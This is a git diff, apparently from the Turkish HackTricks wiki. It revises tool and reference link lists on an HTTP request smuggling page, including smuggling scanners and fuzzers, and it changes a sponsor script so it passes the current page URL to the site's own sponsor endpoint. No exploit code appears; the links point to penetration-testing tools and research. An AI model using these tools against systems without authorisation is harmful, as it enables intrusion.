+- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
 - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
 - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
 - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
 - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
-- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Bu araç, gramer tabanlı bir HTTP Fuzzer olup garip request smuggling tutarsızlıklarını bulmak için kullanışlıdır.
+- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Bu araç, tuhaf request smuggling uyumsuzluklarını bulmak için yararlı olan gramer tabanlı bir HTTP Fuzzer'dır.
 
 ## Referanslar
 
@@ -830,10 +876,11 @@ table.add(req)
 - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
 - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
 - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
-- Yanlış false‑positive uyarısına dikkat: HTTP pipelining ile request smuggling arasındaki fark nasıl ayırt edilir – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
+- Yanlış false‑positive'e dikkat: HTTP pipelining ile request smuggling arasındaki farkı nasıl ayırt edersiniz – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
 - [https://http1mustdie.com/](https://http1mustdie.com/)
-- Tarayıcı Tabanlı Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
-- PortSwigger Academy – istemci tarafı desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
+- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
+- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
+- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)
 
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/theme/sponsor.js b/theme/sponsor.js
index 5b3f66804..dd647eaf6 100644
--- a/theme/sponsor.js
+++ b/theme/sponsor.js
@@ -15,7 +15,8 @@
   var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")
 
   async function getSponsor() {
-    const url = "https://book.hacktricks.wiki/sponsor"
+    const currentUrl = encodeURIComponent(window.location.href);
+    const url = `https://book.hacktricks.wiki/sponsor?current_url=${currentUrl}`;
     try {
       const response = await fetch(url, { method: "GET" })
       if (!response.ok) {